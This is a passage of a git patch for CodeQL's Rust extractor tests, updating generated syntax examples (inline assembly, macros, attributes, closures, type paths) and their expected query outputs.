6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 -MacroPat/gen_macro_pat.rs df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d +MacroPat/gen_macro_pat.rs 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 -MacroTypeRepr/gen_macro_type_repr.rs 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 +MacroTypeRepr/gen_macro_type_repr.rs cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a -Meta/gen_meta.rs 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 +Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 @@ -96,7 +96,7 @@ ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e2 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 +Path/gen_path_type_repr.rs 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs index 2735abdd75e..f260f1359e5 100644 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -4,6 +4,7 @@ fn test_asm_clobber_abi() -> () { // A clobbered ABI in an inline assembly block. // // For example: + use core::arch::asm; asm!("", clobber_abi("C")); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs index 23800c7fd44..5002ebeb0fb 100644 --- a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -4,6 +4,7 @@ fn test_asm_const() -> () { // A constant operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov eax, {const}", const 42); // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs index 8e3740ddfbb..7e5191018f1 100644 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -1,9 +1,10 @@ // generated by codegen, do not edit fn test_asm_dir_spec() -> () { - // An inline assembly directive specification. + // An inline assembly direction specifier. // // For example: - asm!("nop"); - // ^^^^^ + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs index cfd6896e2f8..b9c0766c54a 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs @@ -3,6 +3,7 @@ fn test_asm_expr() -> () { // An inline assembly expression. For example: unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } } diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs index a035dbd6d0c..d9cc2be296c 100644 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -4,6 +4,10 @@ fn test_asm_label() -> () { // A label in an inline assembly block. // // For example: - asm!("jmp {label}", label = sym my_label); - // ^^^^^^^^^^^^^^^^^^^^^^ + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); } diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs index 2c4a3dccc74..e7c9af1bfbe 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -4,6 +4,7 @@ fn test_asm_operand_expr() -> () { // An operand expression in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs index a5d10e3c2ba..1739d575b60 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -4,6 +4,7 @@ fn test_asm_operand_named() -> () { // A named operand in an inline assembly block. // // For example: - asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - // ^^^^^ ^^^^ + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs index 0035a778967..d95addaa868 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -4,6 +4,7 @@ fn test_asm_option() -> () { // An option in an inline assembly block. // // For example: + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs index 93e7117848f..5f7a048f819 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -4,6 +4,7 @@ fn test_asm_options_list() -> () { // A list of options in an inline assembly block. // // For example: + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs index 08a7072c6bd..530ee125a9b 100644 --- a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -4,6 +4,7 @@ fn test_asm_reg_operand() -> () { // A register operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs index f058e35bc69..a25799476c8 100644 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -4,6 +4,7 @@ fn test_asm_reg_spec() -> () { // A register specification in an inline assembly block. // // For example: - asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - // ^^^ ^^^ + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs index ef15dbb9617..83475cfcb6c 100644 --- a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -4,6 +4,7 @@ fn test_asm_sym() -> () { // A symbol operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("call {sym}", sym = sym my_function); // ^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 80de1eca878..725c1ecce63 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -4,6 +4,11 @@ fn test_assoc_type_arg() -> () { // An associated type argument in a path. // // For example: - ::Item - // ^^^^ + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index 2cc5a256201..6328368c5e1 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -4,6 +4,11 @@ fn test_closure_binder() -> () { // A closure binder, specifying lifetime or type parameters for a closure. // // For example: - for <'a> |x: &'a u32 | x - // ^^^^^^ + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index d77f533bb0a..ccd73685feb 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -4,6 +4,11 @@ fn test_for_type_repr() -> () { // A higher-ranked trait bound(HRTB) type. // // For example: - for <'a> fn(&'a str) - // ^^^^^ + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index 4d006d2d5b4..ac7cd324579 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -4,6 +4,6 @@ fn test_lifetime_arg() -> () { // A lifetime argument in a generic argument list. // // For example: - Foo<'a> - // ^^ + let text: Text<'a>; + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 90bd5da21ee..72c70a7f631 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,12 +1,10 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A macro definition using the `macro_rules!` or similar syntax. + // A Rust 2.0 style declarative macro definition. // // For example: - macro_rules! my_macro { - () => { - println!("This is a macro!"); - }; + pub macro vec_of_two($element:expr) { + vec![$element, $element] } } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index e69de29bb2d..1e909c53379 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:8:9:8:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index e69de29bb2d..5cdbd40580e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:8:9:8:19 | MacroPat | gen_macro_pat.rs:8:9:8:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index a4940aae3e2..d44879fae34 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -4,8 +4,14 @@ fn test_macro_pat() -> () { // A macro pattern, representing the invocation of a macro that produces a pattern. // // For example: + macro_rules! my_macro { + () => { + Ok(_) + }; + } match x { my_macro!() => "matched", + // ^^^^^^^^^^^ _ => "not matched", } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index e69de29bb2d..72e1e6d6fda 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index e69de29bb2d..af3a4e76d1f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:7:14:7:26 | MacroTypeRepr | gen_macro_type_repr.rs:7:14:7:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index d81bbcb0cd3..a1f80029eb9 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -4,6 +4,9 @@ fn test_macro_type_repr() -> () { // A type produced by a macro. // // For example: + macro_rules! macro_type { + () => { i32 }; + } type T = macro_type!(); // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 2698243d57a..104540323f9 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -4,6 +4,11 @@ fn test_meta() -> () { // A meta item in an attribute. // // For example: - #[cfg(feature = "foo")] - // ^^^^^^^^^^^^^^^ + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } } diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index 71b863832b4..70efa0da8fc 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -2,6 +2,6 @@ fn test_path_type_repr() -> () { // A path referring to a type. For example: - let x: (i32); - // ^^^ + type X = std::collections::HashMap; + type Y = X::Item; } From 943dd8e70cdb86f37184b3e228e022393e526bd9 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 13:54:37 +0200 Subject: [PATCH 108/271] update output --- rust/ql/test/extractor-tests/generated/Abi/Abi.expected | 1 + .../extractor-tests/generated/Abi/Abi_getAbiString.expected | 1 + .../test/extractor-tests/generated/ArgList/ArgList.expected | 2 +- .../generated/ArgList/ArgList_getArg.expected | 4 +++- .../generated/ArrayTypeRepr/ArrayTypeRepr.expected | 1 + .../ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected | 1 + .../ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected | 1 + .../generated/AsmClobberAbi/AsmClobberAbi.expected | 1 + .../extractor-tests/generated/AsmConst/AsmConst.expected | 1 + .../generated/AsmConst/AsmConst_getExpr.expected | 1 + .../extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected | 2 ++ .../test/extractor-tests/generated/AsmExpr/AsmExpr.expected | 2 +- .../generated/AsmExpr/AsmExpr_getAsmPiece.expected | 2 ++ .../generated/AsmExpr/AsmExpr_getAttr.expected | 1 + .../generated/AsmExpr/AsmExpr_getTemplate.expected | 2 +- .../extractor-tests/generated/AsmLabel/AsmLabel.expected | 0 .../generated/AsmLabel/AsmLabel_getBlockExpr.expected | 0 .../generated/AsmOperandExpr/AsmOperandExpr.expected | 2 ++ .../AsmOperandExpr/AsmOperandExpr_getInExpr.expected | 2 ++ .../AsmOperandExpr/AsmOperandExpr_getOutExpr.expected | 2 ++ .../generated/AsmOperandNamed/AsmOperandNamed.expected | 2 ++ .../AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected | 2 ++ .../AsmOperandNamed/AsmOperandNamed_getName.expected | 1 + .../extractor-tests/generated/AsmOption/AsmOption.expected | 2 ++ .../generated/AsmOptionsList/AsmOptionsList.expected | 1 + .../AsmOptionsList/AsmOptionsList_getAsmOption.expected | 2 ++ .../generated/AsmRegOperand/AsmRegOperand.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected | 2 ++ .../AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected | 2 ++ .../extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected | 2 ++ .../generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected | 1 + .../ql/test/extractor-tests/generated/AsmSym/AsmSym.expected | 1 + .../extractor-tests/generated/AsmSym/AsmSym_getPath.expected | 1 + .../generated/AssocTypeArg/AssocTypeArg.expected | 1 + .../AssocTypeArg/AssocTypeArg_getIdentifier.expected | 1 + .../AssocTypeArg/AssocTypeArg_getTypeBoundList.expected | 1 + rust/ql/test/extractor-tests/generated/Attr/Attr.expected | 1 + .../extractor-tests/generated/Attr/Attr_getMeta.expected | 1 + rust/ql/test/extractor-tests/generated/Const/Const.expected | 1 + .../extractor-tests/generated/Const/Const_getBody.expected | 1 + .../extractor-tests/generated/Const/Const_getName.expected | 1 + .../generated/Const/Const_getTypeRepr.expected | 1 + .../extractor-tests/generated/ConstArg/ConstArg.expected | 1 + .../generated/ConstArg/ConstArg_getExpr.expected | 1 + .../extractor-tests/generated/ConstParam/ConstParam.expected | 1 + .../generated/ConstParam/ConstParam_getName.expected | 1 + .../generated/ConstParam/ConstParam_getTypeRepr.expected | 1 + .../generated/DynTraitTypeRepr/DynTraitTypeRepr.expected | 1 + .../DynTraitTypeRepr_getTypeBoundList.expected | 1 + rust/ql/test/extractor-tests/generated/Enum/Enum.expected | 1 + .../extractor-tests/generated/Enum/Enum_getName.expected | 1 + .../generated/Enum/Enum_getVariantList.expected | 1 + .../generated/ExternBlock/ExternBlock.expected | 1 + .../generated/ExternBlock/ExternBlock_getAbi.expected | 1 + .../ExternBlock/ExternBlock_getExternItemList.expected | 1 + .../generated/ExternCrate/ExternCrate.expected | 1 + .../generated/ExternCrate/ExternCrate_getIdentifier.expected | 1 + .../generated/ExternItemList/ExternItemList.expected | 1 + .../ExternItemList/ExternItemList_getExternItem.expected | 2 ++ .../generated/FnPtrTypeRepr/FnPtrTypeRepr.expected | 1 + .../FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected | 1 + .../FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected | 1 + .../test/extractor-tests/generated/ForExpr/ForExpr.expected | 1 + .../generated/ForExpr/ForExpr_getIterable.expected | 1 + .../generated/ForExpr/ForExpr_getLoopBody.expected | 1 + .../generated/ForExpr/ForExpr_getPat.expected | 1 + .../generated/ForTypeRepr/ForTypeRepr.expected | 1 + .../ForTypeRepr/ForTypeRepr_getGenericParamList.expected | 1 + .../generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected | 1 + rust/ql/test/extractor-tests/generated/Impl/Impl.expected | 1 + .../generated/Impl/Impl_getAssocItemList.expected | 1 + .../extractor-tests/generated/Impl/Impl_getSelfTy.expected | 1 + .../extractor-tests/generated/Impl/Impl_getTrait.expected | 1 + .../generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected | 1 + .../ImplTraitTypeRepr_getTypeBoundList.expected | 1 + .../generated/InferTypeRepr/InferTypeRepr.expected | 1 + .../extractor-tests/generated/ItemList/ItemList.expected | 1 + .../generated/ItemList/ItemList_getItem.expected | 2 ++ .../test/extractor-tests/generated/LetElse/LetElse.expected | 1 + .../generated/LetElse/LetElse_getBlockExpr.expected | 1 + .../extractor-tests/generated/Lifetime/Lifetime.expected | 2 ++ .../generated/Lifetime/Lifetime_getText.expected | 2 ++ .../generated/LifetimeArg/LifetimeArg.expected | 1 + .../generated/LifetimeArg/LifetimeArg_getLifetime.expected | 1 + .../generated/LifetimeParam/LifetimeParam.expected | 1 + .../LifetimeParam/LifetimeParam_getLifetime.expected | 1 + .../extractor-tests/generated/MacroCall/MacroCall.expected | 3 ++- .../MacroCall/MacroCall_getMacroCallExpansion.expected | 3 ++- .../generated/MacroCall/MacroCall_getPath.expected | 3 ++- .../generated/MacroCall/MacroCall_getTokenTree.expected | 3 ++- .../extractor-tests/generated/MacroDef/MacroDef.expected | 1 + .../generated/MacroDef/MacroDef_getArgs.expected | 1 + .../generated/MacroDef/MacroDef_getBody.expected | 1 + .../generated/MacroDef/MacroDef_getName.expected | 1 + .../generated/MacroDef/MacroDef_getVisibility.expected | 1 + .../extractor-tests/generated/MacroExpr/MacroExpr.expected | 2 +- .../generated/MacroExpr/MacroExpr_getMacroCall.expected | 2 +- .../extractor-tests/generated/MacroPat/MacroPat.expected | 2 +- .../generated/MacroPat/MacroPat_getMacroCall.expected | 2 +- .../extractor-tests/generated/MacroRules/MacroRules.expected | 1 + .../generated/MacroRules/MacroRules_getName.expected | 1 + .../generated/MacroRules/MacroRules_getTokenTree.expected | 1 + .../generated/MacroTypeRepr/MacroTypeRepr.expected | 2 +- .../MacroTypeRepr/MacroTypeRepr_getMacroCall.expected | 2 +- .../generated/MatchArmList/MatchArmList.expected | 1 + .../generated/MatchArmList/MatchArmList_getArm.expected | 3 +++ .../extractor-tests/generated/MatchGuard/MatchGuard.expected | 1 + .../generated/MatchGuard/MatchGuard_getCondition.expected | 1 + rust/ql/test/extractor-tests/generated/Meta/Meta.expected | 2 ++ .../extractor-tests/generated/Meta/Meta_getExpr.expected | 1 + .../extractor-tests/generated/Meta/Meta_getPath.expected | 2 ++ .../generated/Meta/Meta_getTokenTree.expected | 1 + rust/ql/test/extractor-tests/generated/Name/Name.expected | 1 + .../extractor-tests/generated/Name/Name_getText.expected | 1 + .../test/extractor-tests/generated/NameRef/NameRef.expected | 5 +---- .../generated/NameRef/NameRef_getText.expected | 5 +---- .../generated/NeverTypeRepr/NeverTypeRepr.expected | 2 ++ .../extractor-tests/generated/ParamList/ParamList.expected | 1 + .../generated/ParamList/ParamList_getParam.expected | 2 ++ .../extractor-tests/generated/ParenExpr/ParenExpr.expected | 1 + .../generated/ParenExpr/ParenExpr_getExpr.expected | 1 + .../extractor-tests/generated/ParenPat/ParenPat.expected | 1 + .../generated/ParenPat/ParenPat_getPat.expected | 1 + .../generated/ParenTypeRepr/ParenTypeRepr.expected | 1 + .../ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected | 1 + .../ParenthesizedArgList/ParenthesizedArgList.expected | 1 + .../ParenthesizedArgList_getTypeArg.expected | 2 ++ .../generated/PtrTypeRepr/PtrTypeRepr.expected | 2 ++ .../generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected | 2 ++ .../generated/RefTypeRepr/RefTypeRepr.expected | 2 ++ .../generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected | 2 ++ .../ql/test/extractor-tests/generated/Rename/Rename.expected | 1 + .../extractor-tests/generated/Rename/Rename_getName.expected | 1 + .../test/extractor-tests/generated/RestPat/RestPat.expected | 1 + .../generated/RetTypeRepr/RetTypeRepr.expected | 2 +- .../generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected | 1 + .../generated/ReturnTypeSyntax/ReturnTypeSyntax.expected | 2 ++ .../generated/SliceTypeRepr/SliceTypeRepr.expected | 1 + .../SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected | 1 + .../extractor-tests/generated/SourceFile/SourceFile.expected | 2 +- 